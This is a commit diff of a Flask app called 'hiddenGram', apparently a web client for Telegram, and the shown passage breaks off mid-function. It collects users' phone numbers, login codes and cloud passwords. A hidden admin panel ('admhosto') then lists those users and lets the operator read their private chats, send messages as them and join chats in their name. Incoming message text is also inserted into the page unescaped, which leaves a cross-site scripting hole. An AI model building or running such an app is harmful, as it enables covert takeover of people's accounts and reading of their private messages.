Aleksmorshen commited on
Commit
048e2a1
·
verified ·
1 Parent(s): 0cdb85e

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +343 -1091
app.py CHANGED
@@ -64,92 +64,16 @@ LOGIN_TEMPLATE = '''
64
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
65
  <title>hiddenGram - Login</title>
66
  <style>
67
- @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');
68
- body {
69
- font-family: 'Roboto', sans-serif;
70
- background: #1a1a1a;
71
- color: #e0e0e0;
72
- margin: 0;
73
- padding: 0;
74
- display: flex;
75
- justify-content: center;
76
- align-items: center;
77
- min-height: 100vh;
78
- overflow: hidden;
79
- }
80
- .container {
81
- background: #282828;
82
- padding: 40px;
83
- border-radius: 12px;
84
- box-shadow: 0 8px 30px rgba(0, 255, 0, 0.25);
85
- max-width: 450px;
86
- width: 90%;
87
- text-align: center;
88
- animation: fadeIn 0.8s ease-out;
89
- }
90
- @keyframes fadeIn {
91
- from { opacity: 0; transform: translateY(-20px); }
92
- to { opacity: 1; transform: translateY(0); }
93
- }
94
- h1 {
95
- color: #00ff00;
96
- margin-bottom: 30px;
97
- font-size: 2.8em;
98
- font-weight: 700;
99
- text-shadow: 0 0 10px rgba(0, 255, 0, 0.5);
100
- }
101
- input[type="text"], input[type="password"] {
102
- width: calc(100% - 24px);
103
- padding: 14px;
104
- margin: 12px 0;
105
- border: 1px solid #444;
106
- border-radius: 8px;
107
- background: #3a3a3a;
108
- color: #fff;
109
- font-size: 1.1em;
110
- transition: border-color 0.3s ease, box-shadow 0.3s ease;
111
- }
112
- input[type="text"]:focus, input[type="password"]:focus {
113
- border-color: #00ff00;
114
- box-shadow: 0 0 10px rgba(0, 255, 0, 0.4);
115
- outline: none;
116
- }
117
- button {
118
- background: #00ff00;
119
- color: #1a1a1a;
120
- padding: 14px 30px;
121
- border: none;
122
- border-radius: 8px;
123
- cursor: pointer;
124
- font-size: 1.2em;
125
- font-weight: bold;
126
- margin-top: 20px;
127
- transition: background 0.3s ease, transform 0.2s ease;
128
- width: 100%;
129
- letter-spacing: 0.5px;
130
- }
131
- button:hover {
132
- background: #00cc00;
133
- transform: translateY(-2px);
134
- }
135
- button:active {
136
- transform: translateY(0);
137
- }
138
- .message {
139
- margin-top: 25px;
140
- padding: 15px;
141
- border-radius: 8px;
142
- font-size: 1em;
143
- line-height: 1.4;
144
- animation: slideIn 0.5s ease-out;
145
- }
146
- @keyframes slideIn {
147
- from { opacity: 0; transform: translateY(10px); }
148
- to { opacity: 1; transform: translateY(0); }
149
- }
150
- .message.success { background: #2e8b57; color: #e0e0e0; border: 1px solid #3cb371; }
151
- .message.error { background: #cc0000; color: #e0e0e0; border: 1px solid #dc3545; }
152
- .message.info { background: #007bff; color: #e0e0e0; border: 1px solid #17a2b8; }
153
  .hidden { display: none; }
154
  </style>
155
  </head>
@@ -159,10 +83,8 @@ LOGIN_TEMPLATE = '''
159
  <div class="form">
160
  <input type="text" id="phone" placeholder="Phone number (+1234567890)">
161
  <button onclick="startLogin()">Start Login</button>
162
-
163
  <input type="text" id="code" placeholder="Verification code" class="hidden">
164
- <input type="password" id="password" placeholder="Cloud password" class="hidden">
165
-
166
  <button id="submitCode" onclick="submitCode()" class="hidden">Submit Code</button>
167
  <button id="submitPassword" onclick="submitPassword()" class="hidden">Submit Password</button>
168
  </div>
@@ -197,12 +119,10 @@ LOGIN_TEMPLATE = '''
197
  phoneCodeHash = result.phone_code_hash;
198
  document.getElementById('code').classList.remove('hidden');
199
  document.getElementById('submitCode').classList.remove('hidden');
200
- document.getElementById('phone').classList.add('hidden');
201
- document.querySelector('button[onclick="startLogin()"]').classList.add('hidden');
202
  showMessage(result.message, 'success');
203
  } else {
204
  showMessage(result.message + ' Redirecting...', 'success');
205
- setTimeout(() => window.location.href = '/app', 1000);
206
  }
207
  } else {
208
  showMessage('Login failed: ' + result.message, 'error');
@@ -224,7 +144,7 @@ LOGIN_TEMPLATE = '''
224
  const result = await response.json();
225
  if (result.success) {
226
  showMessage(result.message + ' Redirecting...', 'success');
227
- setTimeout(() => window.location.href = '/app', 1000);
228
  } else if (result.password_required) {
229
  showMessage(result.message, 'info');
230
  document.getElementById('password').classList.remove('hidden');
@@ -251,7 +171,7 @@ LOGIN_TEMPLATE = '''
251
  const result = await response.json();
252
  if (result.success) {
253
  showMessage(result.message + ' Redirecting...', 'success');
254
- setTimeout(() => window.location.href = '/app', 1000);
255
  } else {
256
  showMessage('Login failed: ' + result.message, 'error');
257
  }
@@ -269,361 +189,96 @@ HIDDENGRAM_APP_TEMPLATE = '''
269
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
270
  <title>hiddenGram</title>
271
  <style>
272
- @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');
273
- body {
274
- font-family: 'Roboto', sans-serif;
275
- background: #1a1a1a;
276
- color: #e0e0e0;
277
- margin: 0;
278
- padding: 0;
279
- display: flex;
280
- flex-direction: column;
281
- height: 100vh;
282
- overflow: hidden;
283
- }
284
- .header {
285
- background: #282828;
286
- padding: 15px 20px;
287
- border-bottom: 1px solid #333;
288
- display: flex;
289
- justify-content: space-between;
290
- align-items: center;
291
- box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
292
- }
293
- .header h1 {
294
- margin: 0;
295
- color: #00ff00;
296
- font-size: 1.8em;
297
- font-weight: 700;
298
- text-shadow: 0 0 5px rgba(0, 255, 0, 0.3);
299
- }
300
- .header button {
301
- background: #ff4d4d;
302
- color: #fff;
303
- padding: 8px 15px;
304
- border: none;
305
- border-radius: 5px;
306
- cursor: pointer;
307
- font-size: 0.9em;
308
- transition: background 0.3s ease;
309
- }
310
- .header button:hover {
311
- background: #cc0000;
312
- }
313
- .main-content {
314
- display: flex;
315
- flex: 1;
316
- overflow: hidden;
317
- }
318
- .sidebar {
319
- flex: 0 0 350px;
320
- background: #222;
321
- border-right: 1px solid #333;
322
- overflow-y: auto;
323
- display: flex;
324
- flex-direction: column;
325
- }
326
- .sidebar-header {
327
- padding: 15px;
328
- border-bottom: 1px solid #333;
329
- background: #282828;
330
- position: sticky;
331
- top: 0;
332
- z-index: 10;
333
- }
334
- .sidebar-header h2 {
335
- margin: 0;
336
- color: #00ff00;
337
- font-size: 1.2em;
338
- font-weight: 500;
339
- }
340
- .chat-list {
341
- flex: 1;
342
- overflow-y: auto;
343
- -ms-overflow-style: none; /* IE and Edge */
344
- scrollbar-width: none; /* Firefox */
345
- }
346
- .chat-list::-webkit-scrollbar {
347
- display: none; /* Chrome, Safari, Opera*/
348
- }
349
- .chat-item {
350
- padding: 15px 20px;
351
- border-bottom: 1px solid #333;
352
- cursor: pointer;
353
- transition: background 0.2s ease;
354
- display: flex;
355
- align-items: center;
356
- }
357
- .chat-item:hover, .chat-item.active {
358
- background: #3a3a3a;
359
- }
360
- .chat-item-avatar {
361
- width: 45px;
362
- height: 45px;
363
- border-radius: 50%;
364
- background: #00ff00; /* Default Telegram-like avatar color */
365
- display: flex;
366
- justify-content: center;
367
- align-items: center;
368
- font-size: 1.2em;
369
- font-weight: bold;
370
- color: #1a1a1a;
371
- margin-right: 15px;
372
- flex-shrink: 0;
373
- }
374
- .chat-item-info {
375
- flex-grow: 1;
376
- min-width: 0; /* Ensures content inside flex item shrinks */
377
- }
378
- .chat-item h3 {
379
- margin: 0;
380
- font-size: 1.1em;
381
- color: #fff;
382
- white-space: nowrap;
383
- overflow: hidden;
384
- text-overflow: ellipsis;
385
- }
386
- .chat-item p {
387
- margin: 5px 0 0;
388
- font-size: 0.9em;
389
- color: #bbb;
390
- white-space: nowrap;
391
- overflow: hidden;
392
- text-overflow: ellipsis;
393
- }
394
-
395
- .chat-panel {
396
- flex: 1;
397
- display: flex;
398
- flex-direction: column;
399
- background: #1a1a1a;
400
- }
401
- .chat-panel-header {
402
- background: #282828;
403
- padding: 15px 20px;
404
- border-bottom: 1px solid #333;
405
- display: flex;
406
- justify-content: space-between;
407
- align-items: center;
408
- min-height: 60px;
409
- box-shadow: 0 2px 10px rgba(0, 0, 0, 0.3);
410
- flex-shrink: 0;
411
- }
412
- .chat-panel-header h2 {
413
- margin: 0;
414
- color: #fff;
415
- font-size: 1.2em;
416
- font-weight: 500;
417
- }
418
- .chat-panel-header span {
419
- font-size: 0.9em;
420
- color: #aaa;
421
- }
422
- .messages-container {
423
- flex: 1;
424
- overflow-y: auto;
425
- padding: 20px;
426
- display: flex;
427
- flex-direction: column-reverse; /* For messages to appear at bottom */
428
- -ms-overflow-style: none; /* IE and Edge */
429
- scrollbar-width: none; /* Firefox */
430
- }
431
- .messages-container::-webkit-scrollbar {
432
- display: none; /* Chrome, Safari, Opera*/
433
- }
434
- .message-item {
435
- margin-bottom: 10px;
436
- padding: 12px 15px;
437
- border-radius: 18px; /* More rounded like Telegram */
438
- max-width: 75%;
439
- word-wrap: break-word;
440
- box-shadow: 0 1px 1px rgba(0,0,0,0.1);
441
- }
442
- .message-item.sent {
443
- background: #005600; /* Darker green for sent */
444
- align-self: flex-end;
445
- border-bottom-right-radius: 5px; /* "Tail" effect */
446
- }
447
- .message-item.received {
448
- background: #3a3a3a; /* Dark gray for received */
449
- align-self: flex-start;
450
- border-bottom-left-radius: 5px; /* "Tail" effect */
451
- }
452
- .message-sender {
453
- font-weight: bold;
454
- color: #00ff00;
455
- margin-bottom: 5px;
456
- display: block;
457
- font-size: 0.9em;
458
- }
459
- .message-text {
460
- color: #e0e0e0;
461
- font-size: 0.95em;
462
- line-height: 1.4;
463
- }
464
- .message-meta {
465
- font-size: 0.75em;
466
- color: #aaa;
467
- margin-top: 5px;
468
- text-align: right;
469
- }
470
- .media-link {
471
- display: block;
472
- margin-top: 5px;
473
- color: #00ffff;
474
- text-decoration: none;
475
- word-break: break-all;
476
- }
477
- .media-link:hover {
478
- text-decoration: underline;
479
- }
480
- .chat-input-area {
481
- background: #282828;
482
- padding: 15px 20px;
483
- border-top: 1px solid #333;
484
- display: flex;
485
- gap: 10px;
486
- align-items: flex-end;
487
- flex-shrink: 0;
488
- }
489
- .chat-input-area textarea {
490
- flex: 1;
491
- padding: 10px;
492
- border: 1px solid #444;
493
- border-radius: 20px; /* Rounded corners for input */
494
- background: #3a3a3a;
495
- color: #fff;
496
- resize: none;
497
- overflow-y: auto;
498
- max-height: 120px;
499
- font-size: 1em;
500
- line-height: 1.4;
501
- padding-right: 40px; /* Space for send icon if added */
502
- }
503
- .chat-input-area textarea:focus {
504
- border-color: #00ff00;
505
- outline: none;
506
- }
507
- .chat-input-area button {
508
- background: #00ff00;
509
- color: #1a1a1a;
510
- padding: 10px 20px;
511
- border: none;
512
- border-radius: 20px; /* Rounded button */
513
- cursor: pointer;
514
- font-size: 1em;
515
- font-weight: bold;
516
- transition: background 0.3s ease;
517
- }
518
- .chat-input-area button:hover {
519
- background: #00cc00;
520
- }
521
- .no-chat-selected {
522
- display: flex;
523
- justify-content: center;
524
- align-items: center;
525
- flex: 1;
526
- color: #aaa;
527
- font-size: 1.2em;
528
- }
529
- .join-chat-section {
530
- padding: 15px;
531
- border-top: 1px solid #333;
532
- background: #282828;
533
- display: flex;
534
- flex-direction: column;
535
- gap: 10px;
536
- flex-shrink: 0;
537
- }
538
- .join-chat-section input {
539
- width: calc(100% - 22px);
540
- padding: 10px;
541
- border: 1px solid #444;
542
- border-radius: 5px;
543
- background: #3a3a3a;
544
- color: #fff;
545
- font-size: 1em;
546
- }
547
- .join-chat-section button {
548
- background: #0099ff;
549
- color: #fff;
550
- padding: 10px 15px;
551
- border: none;
552
- border-radius: 5px;
553
- cursor: pointer;
554
- font-size: 1em;
555
- transition: background 0.3s ease;
556
- }
557
- .join-chat-section button:hover {
558
- background: #0077cc;
559
- }
560
- @media (max-width: 768px) {
561
- .main-content { flex-direction: column; }
562
- .sidebar { flex: none; width: 100%; max-height: 40vh; border-right: none; border-bottom: 1px solid #333; }
563
- .chat-panel { flex: 1; }
564
- .header { padding: 10px; }
565
- .chat-panel-header { padding: 10px; }
566
- .chat-input-area { padding: 10px; }
567
- .chat-item { padding: 12px 15px; }
568
- }
569
  </style>
570
  </head>
571
  <body>
572
- <div class="header">
573
- <h1>hiddenGram</h1>
574
- <div>
575
- <button onclick="logout()">Logout</button>
576
- </div>
577
- </div>
578
- <div class="main-content">
579
  <div class="sidebar">
580
  <div class="sidebar-header">
581
- <h2>Chats</h2>
582
- </div>
583
- <div class="chat-list" id="chatList">
584
-
585
  </div>
 
586
  <div class="join-chat-section">
587
- <input type="text" id="joinChatIdentifier" placeholder="Join Channel/Group (username or invite link)">
588
- <button onclick="joinChat()">Join Chat</button>
589
  </div>
590
  </div>
591
  <div class="chat-panel" id="chatPanel">
592
- <div class="no-chat-selected" id="noChatSelected">Select a chat to view messages</div>
593
- <div class="chat-panel-header" id="chatPanelHeader" style="display:none;">
594
- <h2 id="chatTitle"></h2>
595
- <span id="chatInfo"></span>
 
 
 
 
596
  </div>
597
- <div class="messages-container" id="messagesContainer" style="display:none;">
598
-
599
  </div>
 
600
  <div class="chat-input-area" id="chatInputArea" style="display:none;">
601
- <textarea id="messageInput" placeholder="Type a message..." rows="1"></textarea>
602
- <button onclick="sendMessage()">Send</button>
603
  </div>
604
  </div>
605
  </div>
606
 
607
  <script>
608
  let currentChatId = null;
609
- let currentChatTitle = '';
610
- let currentChatType = '';
611
-
612
- function getInitials(title) {
613
- if (!title) return '?';
614
- const words = title.split(' ');
615
- if (words.length >= 2) {
616
- return (words[0][0] + words[1][0]).toUpperCase();
617
- }
618
- return title[0] ? title[0].toUpperCase() : '?';
619
- }
620
 
621
  function adjustTextareaHeight() {
622
  const textarea = document.getElementById('messageInput');
623
  textarea.style.height = 'auto';
624
- textarea.style.height = textarea.scrollHeight + 'px';
625
  }
626
- document.addEventListener('DOMContentLoaded', adjustTextareaHeight);
627
  document.getElementById('messageInput').addEventListener('input', adjustTextareaHeight);
628
 
629
  async function fetchChats() {
@@ -634,103 +289,97 @@ HIDDENGRAM_APP_TEMPLATE = '''
634
  if (result.success && result.chats) {
635
  result.chats.forEach(chat => {
636
  const chatItem = document.createElement('div');
637
- chatItem.classList.add('chat-item');
638
  if (currentChatId === chat.id) {
639
  chatItem.classList.add('active');
640
  }
641
  chatItem.dataset.id = chat.id;
642
- chatItem.dataset.title = chat.title;
643
- chatItem.dataset.type = chat.type;
644
  chatItem.innerHTML = `
645
- <div class="chat-item-avatar">${getInitials(chat.title)}</div>
646
- <div class="chat-item-info">
647
  <h3>${chat.title}</h3>
648
- <p>${chat.type} ${chat.participants ? '| Participants: ' + chat.participants : ''}</p>
649
  </div>
650
  `;
651
- chatItem.onclick = () => selectChat(chat.id, chat.title, chat.type);
652
  chatListDiv.appendChild(chatItem);
653
  });
654
  } else {
655
- chatListDiv.innerHTML = `<p style="padding: 20px; text-align: center; color: #aaa;">${result.message || 'No chats found.'}</p>`;
656
  }
657
  }
658
 
659
- async function selectChat(chatId, chatTitle, chatType) {
660
  currentChatId = chatId;
661
- currentChatTitle = chatTitle;
662
- currentChatType = chatType;
663
 
664
- document.querySelectorAll('.chat-item').forEach(item => {
665
- item.classList.remove('active');
666
- });
667
- const selectedChatItem = document.querySelector(`.chat-item[data-id="${chatId}"]`);
668
- if (selectedChatItem) {
669
- selectedChatItem.classList.add('active');
670
- }
671
 
672
  document.getElementById('noChatSelected').style.display = 'none';
673
- document.getElementById('chatPanelHeader').style.display = 'flex';
 
674
  document.getElementById('messagesContainer').style.display = 'flex';
675
  document.getElementById('chatInputArea').style.display = 'flex';
676
 
677
- document.getElementById('chatTitle').textContent = chatTitle;
678
- document.getElementById('chatInfo').textContent = chatType;
679
-
680
  await fetchMessages(chatId);
681
  }
682
 
683
  async function fetchMessages(chatId) {
684
  const messagesContainer = document.getElementById('messagesContainer');
685
- messagesContainer.innerHTML = '<p style="text-align: center; color: #aaa;">Loading messages...</p>';
686
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
687
 
688
  const response = await fetch(`/api/chat_messages/${chatId}`);
689
  const result = await response.json();
690
  messagesContainer.innerHTML = '';
691
  if (result.success && result.messages) {
692
- const fragment = document.createDocumentFragment();
693
- result.messages.reverse().forEach(msg => {
694
  const messageItem = document.createElement('div');
695
- messageItem.classList.add('message-item');
696
- messageItem.classList.add(msg.is_sent ? 'sent' : 'received');
697
-
698
- let senderInfo = '';
699
- if (!msg.is_sent) {
700
- senderInfo = `<span class="message-sender">${msg.sender_name}</span>`;
701
- }
702
 
703
- let mediaHtml = '';
704
- if (msg.file_name) {
705
- mediaHtml = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
706
- }
707
-
708
- messageItem.innerHTML = `
709
- ${senderInfo}
710
- ${msg.text ? `<div class="message-text">${msg.text}</div>` : ''}
711
- ${mediaHtml}
712
- ${!msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : ''}
713
- <div class="message-meta">${msg.date}</div>
714
- `;
715
- fragment.prepend(messageItem);
716
  });
717
- messagesContainer.appendChild(fragment);
718
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
719
  } else {
720
- messagesContainer.innerHTML = `<p style="text-align: center; color: #aaa;">${result.message || 'No messages found.'}</p>`;
721
  }
722
  }
 
 
 
 
 
 
723
 
724
- async function sendMessage() {
725
- if (!currentChatId) {
726
- alert('Please select a chat first.');
727
- return;
728
- }
729
- const message = document.getElementById('messageInput').value;
730
- if (!message.trim()) {
731
- alert('Message cannot be empty.');
732
- return;
733
  }
 
 
 
 
 
 
 
 
 
 
734
 
735
  const response = await fetch('/api/send_message', {
736
  method: 'POST',
@@ -739,11 +388,11 @@ HIDDENGRAM_APP_TEMPLATE = '''
739
  });
740
  const result = await response.json();
741
  if (result.success) {
742
- document.getElementById('messageInput').value = '';
743
- adjustTextareaHeight();
744
- await fetchMessages(currentChatId);
745
  } else {
746
  alert('Failed to send message: ' + result.message);
 
 
747
  }
748
  }
749
 
@@ -753,7 +402,6 @@ HIDDENGRAM_APP_TEMPLATE = '''
753
  alert('Please enter a channel/group username or invite link.');
754
  return;
755
  }
756
-
757
  const response = await fetch('/api/join_chat', {
758
  method: 'POST',
759
  headers: { 'Content-Type': 'application/json' },
@@ -763,23 +411,26 @@ HIDDENGRAM_APP_TEMPLATE = '''
763
  alert(result.message);
764
  if (result.success) {
765
  document.getElementById('joinChatIdentifier').value = '';
766
- await fetchChats();
767
  }
768
  }
769
 
770
- async function logout() {
771
- if (confirm('Are you sure you want to log out?')) {
772
- const response = await fetch('/api/logout', { method: 'POST' });
773
- const result = await response.json();
774
- if (result.success) {
775
- window.location.href = '/';
776
- } else {
777
- alert('Logout failed: ' + result.message);
778
- }
779
  }
780
  }
 
 
 
 
 
 
 
781
 
782
- fetchChats();
783
  </script>
784
  </body>
785
  </html>
@@ -793,66 +444,16 @@ ADMHOSTO_TEMPLATE = '''
793
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
794
  <title>hiddenGram - Admin Panel</title>
795
  <style>
796
- @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');
797
- body {
798
- font-family: 'Roboto', sans-serif;
799
- background: #1a1a1a;
800
- color: #e0e0e0;
801
- margin: 0;
802
- padding: 20px;
803
- line-height: 1.6;
804
- }
805
- .container {
806
- max-width: 900px;
807
- margin: auto;
808
- background: #282828;
809
- padding: 30px;
810
- border-radius: 8px;
811
- box-shadow: 0 4px 15px rgba(0, 255, 0, 0.2);
812
- }
813
- h1, h2 {
814
- text-align: center;
815
- color: #00ff00;
816
- margin-bottom: 25px;
817
- font-weight: 500;
818
- }
819
- h1 { font-size: 2.5em; }
820
- h2 { font-size: 1.8em; }
821
- table {
822
- width: 100%;
823
- border-collapse: collapse;
824
- margin-top: 20px;
825
- }
826
- th, td {
827
- padding: 12px;
828
- border: 1px solid #444;
829
- text-align: left;
830
- font-size: 0.95em;
831
- }
832
- th {
833
- background: #3a3a3a;
834
- color: #00ff00;
835
- font-weight: bold;
836
- }
837
- tr:nth-child(even) {
838
- background: #2f2f2f;
839
- }
840
- tr:hover {
841
- background: #3a3a3a;
842
- }
843
- a {
844
- color: #0099ff;
845
- text-decoration: none;
846
- transition: color 0.3s ease;
847
- }
848
- a:hover {
849
- text-decoration: underline;
850
- color: #0077cc;
851
- }
852
- .back-button {
853
- margin-top: 30px;
854
- text-align: center;
855
- }
856
  </style>
857
  </head>
858
  <body>
@@ -891,350 +492,116 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
891
  <head>
892
  <meta charset="UTF-8">
893
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
894
- <title>hiddenGram - Manage Account: {{ user.username or user.phone }}</title>
895
  <style>
896
- @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@300;400;500;700&display=swap');
897
- body {
898
- font-family: 'Roboto', sans-serif;
899
- background: #1a1a1a;
900
- color: #e0e0e0;
901
- margin: 0;
902
- padding: 20px;
903
- line-height: 1.6;
904
- }
905
- .container {
906
- max-width: 1200px;
907
- margin: auto;
908
- background: #282828;
909
- padding: 30px;
910
- border-radius: 8px;
911
- box-shadow: 0 4px 15px rgba(0, 255, 0, 0.2);
912
- }
913
- h1, h2 {
914
- text-align: center;
915
- color: #00ff00;
916
- margin-bottom: 20px;
917
- font-weight: 500;
918
- }
919
- h1 { font-size: 2.2em; }
920
- h2 { font-size: 1.5em; }
921
- .user-info {
922
- text-align: center;
923
- margin-bottom: 30px;
924
- font-size: 1.1em;
925
- color: #aaa;
926
- border-bottom: 1px solid #333;
927
- padding-bottom: 15px;
928
- }
929
- .split-panel {
930
- display: flex;
931
- gap: 25px;
932
- margin-top: 25px;
933
- }
934
- .split-panel > div {
935
- flex: 1;
936
- background: #3a3a3a;
937
- padding: 20px;
938
- border-radius: 8px;
939
- box-shadow: 0 2px 5px rgba(0,0,0,0.2);
940
- display: flex;
941
- flex-direction: column;
942
- }
943
- .action-panel h2, .chat-list-panel h2, .message-viewer h2 {
944
- color: #00ff00;
945
- margin-top: 0;
946
- margin-bottom: 15px;
947
- text-align: center;
948
- }
949
- input[type="text"], textarea {
950
- width: calc(100% - 22px);
951
- padding: 12px;
952
- margin: 8px 0;
953
- border: 1px solid #555;
954
- border-radius: 5px;
955
- background: #4a4a4a;
956
- color: #fff;
957
- font-size: 1em;
958
- transition: border-color 0.3s ease;
959
- }
960
- input[type="text"]:focus, textarea:focus {
961
- border-color: #00ff00;
962
- outline: none;
963
- }
964
- textarea {
965
- resize: vertical;
966
- min-height: 80px;
967
- }
968
- button {
969
- background: #00ff00;
970
- color: #1a1a1a;
971
- padding: 12px 20px;
972
- border: none;
973
- border-radius: 5px;
974
- cursor: pointer;
975
- font-size: 1.0em;
976
- font-weight: bold;
977
- margin-top: 10px;
978
- width: 100%;
979
- transition: background 0.3s ease;
980
- }
981
- button:hover {
982
- background: #00cc00;
983
- }
984
- .chat-list {
985
- flex: 1;
986
- max-height: 400px;
987
- overflow-y: auto;
988
- border: 1px solid #555;
989
- border-radius: 5px;
990
- background: #2f2f2f;
991
- -ms-overflow-style: none; /* IE and Edge */
992
- scrollbar-width: none; /* Firefox */
993
- }
994
- .chat-list::-webkit-scrollbar {
995
- display: none; /* Chrome, Safari, Opera*/
996
- }
997
- .chat-item {
998
- padding: 12px 15px;
999
- border-bottom: 1px solid #4a4a4a;
1000
- cursor: pointer;
1001
- transition: background 0.2s ease;
1002
- }
1003
- .chat-item:hover, .chat-item.active {
1004
- background: #5a5a5a;
1005
- }
1006
- .chat-item:last-child {
1007
- border-bottom: none;
1008
- }
1009
- .chat-item h3 {
1010
- margin: 0;
1011
- font-size: 1.05em;
1012
- color: #fff;
1013
- white-space: nowrap;
1014
- overflow: hidden;
1015
- text-overflow: ellipsis;
1016
- }
1017
- .chat-item p {
1018
- margin: 5px 0 0;
1019
- font-size: 0.85em;
1020
- color: #bbb;
1021
- white-space: nowrap;
1022
- overflow: hidden;
1023
- text-overflow: ellipsis;
1024
- }
1025
-
1026
- .message-viewer {
1027
- margin-top: 25px;
1028
- background: #3a3a3a;
1029
- padding: 20px;
1030
- border-radius: 8px;
1031
- box-shadow: 0 2px 5px rgba(0,0,0,0.2);
1032
- }
1033
- .messages-container {
1034
- max-height: 500px;
1035
- overflow-y: auto;
1036
- padding: 10px;
1037
- border: 1px solid #555;
1038
- border-radius: 5px;
1039
- background: #2f2f2f;
1040
- margin-top: 15px;
1041
- display: flex;
1042
- flex-direction: column-reverse;
1043
- -ms-overflow-style: none; /* IE and Edge */
1044
- scrollbar-width: none; /* Firefox */
1045
- }
1046
- .messages-container::-webkit-scrollbar {
1047
- display: none; /* Chrome, Safari, Opera*/
1048
- }
1049
- .message-item {
1050
- margin-bottom: 10px;
1051
- padding: 10px 12px;
1052
- border-radius: 18px;
1053
- max-width: 90%;
1054
- word-wrap: break-word;
1055
- box-shadow: 0 1px 1px rgba(0,0,0,0.1);
1056
- }
1057
- .message-item.sent {
1058
- background: #005600;
1059
- align-self: flex-end;
1060
- border-bottom-right-radius: 5px;
1061
- }
1062
- .message-item.received {
1063
- background: #4a4a4a;
1064
- align-self: flex-start;
1065
- border-bottom-left-radius: 5px;
1066
- }
1067
- .message-sender {
1068
- font-weight: bold;
1069
- color: #00ff00;
1070
- margin-bottom: 5px;
1071
- display: block;
1072
- font-size: 0.9em;
1073
- }
1074
- .message-text {
1075
- color: #e0e0e0;
1076
- font-size: 0.9em;
1077
- line-height: 1.4;
1078
- }
1079
- .message-meta {
1080
- font-size: 0.7em;
1081
- color: #aaa;
1082
- margin-top: 5px;
1083
- text-align: right;
1084
- }
1085
- .media-link {
1086
- display: block;
1087
- margin-top: 5px;
1088
- color: #00ffff;
1089
- text-decoration: none;
1090
- word-break: break-all;
1091
- }
1092
- .media-link:hover {
1093
- text-decoration: underline;
1094
- }
1095
- .back-button {
1096
- margin-top: 30px;
1097
- text-align: center;
1098
- }
1099
- .clear-chat-selection {
1100
- text-align: center;
1101
- margin-top: 15px;
1102
- padding-top: 10px;
1103
- border-top: 1px solid #4a4a4a;
1104
- }
1105
- .clear-chat-selection button {
1106
- background: #4a4a4a;
1107
- color: #e0e0e0;
1108
- width: auto;
1109
- padding: 8px 15px;
1110
- }
1111
- .clear-chat-selection button:hover {
1112
- background: #5a5a5a;
1113
- }
1114
- @media (max-width: 900px) {
1115
- .split-panel { flex-direction: column; }
1116
- .chat-list-panel { flex: none; height: auto; max-height: 300px; }
1117
- }
1118
  </style>
1119
  </head>
1120
  <body>
1121
  <div class="container">
1122
- <h1>Manage Account: {{ user.username or user.phone }} (ID: {{ user.id }})</h1>
1123
- <div class="user-info">Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}</div>
1124
 
1125
  <div class="split-panel">
1126
  <div class="action-panel">
1127
  <h2>Send Message</h2>
1128
- <input type="text" id="sendMessageRecipient" placeholder="Recipient (username or ID)">
1129
  <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
1130
  <button onclick="sendMessage({{ user.id }})">Send Message</button>
1131
 
1132
  <h2 style="margin-top: 30px;">Join Chat</h2>
1133
- <input type="text" id="joinChatIdentifier" placeholder="Channel/Group username or invite link">
1134
  <button onclick="joinChat({{ user.id }})">Join Chat</button>
1135
  </div>
1136
 
1137
  <div class="chat-list-panel">
1138
  <h2>Chats</h2>
1139
  <div class="chat-list" id="chatList">
1140
- {% if chats %}
1141
- {% for chat in chats %}
1142
- <div class="chat-item" data-id="{{ chat.id }}" data-title="{{ chat.title }}" data-type="{{ chat.type }}" onclick="selectChat({{ user.id }}, {{ chat.id }}, '{{ chat.title | e }}', '{{ chat.type | e }}')">
1143
- <h3>{{ chat.title }}</h3>
1144
- <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
1145
- </div>
1146
- {% endfor %}
1147
  {% else %}
1148
  <p style="padding: 15px; text-align: center;">No chats found.</p>
1149
- {% endif %}
1150
- </div>
1151
- <div class="clear-chat-selection">
1152
- <button onclick="clearChatSelection()">Clear Selection</button>
1153
  </div>
 
1154
  </div>
1155
  </div>
1156
 
1157
  <div class="message-viewer" id="messageViewer" style="display:none;">
1158
  <h2 id="messagesChatTitle"></h2>
1159
- <div class="messages-container" id="messagesContainer">
1160
-
1161
- </div>
1162
  </div>
1163
 
1164
- <div class="back-button">
1165
- <a href="/admhosto">Back to Admin Panel</a>
1166
- </div>
1167
  </div>
1168
-
1169
  <script>
1170
- let currentUserId = {{ user.id }};
1171
- let currentSelectedChatId = null;
1172
-
1173
  function clearChatSelection() {
1174
- currentSelectedChatId = null;
1175
  document.getElementById('messageViewer').style.display = 'none';
1176
- document.querySelectorAll('.chat-item').forEach(item => {
1177
- item.classList.remove('active');
1178
- });
1179
  }
1180
 
1181
- async function selectChat(userId, chatId, chatTitle, chatType) {
1182
- currentSelectedChatId = chatId;
1183
-
1184
- document.querySelectorAll('.chat-item').forEach(item => {
1185
- item.classList.remove('active');
1186
- });
1187
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
1188
 
1189
  document.getElementById('messageViewer').style.display = 'block';
1190
- document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}" (${chatType})`;
1191
  const messagesContainer = document.getElementById('messagesContainer');
1192
- messagesContainer.innerHTML = '<p style="text-align: center; color: #aaa;">Loading messages...</p>';
1193
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
1194
 
1195
  const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages`);
1196
  const result = await response.json();
1197
  messagesContainer.innerHTML = '';
1198
  if (result.success && result.messages) {
1199
- const fragment = document.createDocumentFragment();
1200
- result.messages.reverse().forEach(msg => {
